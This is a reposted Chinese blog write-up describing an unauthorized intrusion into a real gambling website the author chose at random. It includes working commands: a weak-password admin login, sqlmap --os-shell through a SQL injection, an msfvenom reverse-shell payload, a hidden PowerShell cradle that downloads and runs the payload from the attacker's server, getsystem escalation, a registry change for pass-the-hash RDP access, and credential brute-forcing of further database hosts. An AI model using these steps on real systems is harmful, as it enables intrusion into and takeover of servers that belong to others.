闲着无聊,网上随便找了一个菠菜进行简单测试,并做笔记记录,大佬们轻喷,有什么不足之处请指教。
访问网站就是一个登录页面,没有验证码直接 bp
开启,成功爆出弱口令 admin/123456
,直接进入后台。
翻看了很多功能点,在一处功能点发现上传接口,并尝试上传文件,发现无法上传,加了白名单。直接选择放弃,继续寻找。在某一个 /GroupMember.aspx?gid=
参数上加上单引号,直接报错,SQL
注入这不就来了么。
说干就干,直接 SQLMAP
发现为 MSSQL
,且 DBA
权限,直接 --os-shell
已经获取普通权限,接下来就是上线 msf
提权。msf
生成 powershell
脚本,并放置在网站目录下
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=8888 -f psh-reflection >xx.ps1
Vps
开启监听
使用 powershell
上线 session
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/xx.ps1'))"
如果想要通过 url
拼接堆叠执行 powershell
会存在一个问题,就是单引号闭合问题。我们可以通过对 powershell
进行编码一下,这样就可以绕过单引号的问题。下面推荐一个不错的网站。
https://r0yanx.com/tools/java_exec_encode/
session
已经上线,接下来目标就是获取 system
权限。很幸运直接 getsystem
可以获取 system
权限。如果需要提权推荐土豆家族提权,实战中成功率很高,影响的服务器版本也很多。
迁移一下进程,防止进程掉线。
发现服务器开启 3389
端口,因为是 system
权限,且为 2012
系统,大于 2008
版本都是无法抓到明文密码,直接修改 adminnistrator
密码。(实战中不推荐直接修改管理员密码)
因为是 win2012
无法获取明文密码,直接修改管理员密码稍有些不妥。尝试通过获取管理员 NTLM
远程登录机器。(并非同一台,这只是提供一个思路)
使用 hash
远程登录 RDP
,需要开启 "Restricted Admin Mode"
// 开启Restricted Admin mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
// 查看是否已开启,0x0则表示开启
REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
成功利用 hash
远程管理员桌面
前期发现 1433
端口开放着,寻找数据库配置文件,登录数据库。
通过 fofa
找了一下,资产还是挺多的,且很多都开放 1433
端口,猜测会存在同一个人部署的网站,尝试用获取的密码对这些资产的 1433
端口进行爆破,成功撞到几台数据库,且都是 sa
权限。结束。
本文作者:kone
原文地址:https://xz.aliyun.com/t/12501
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END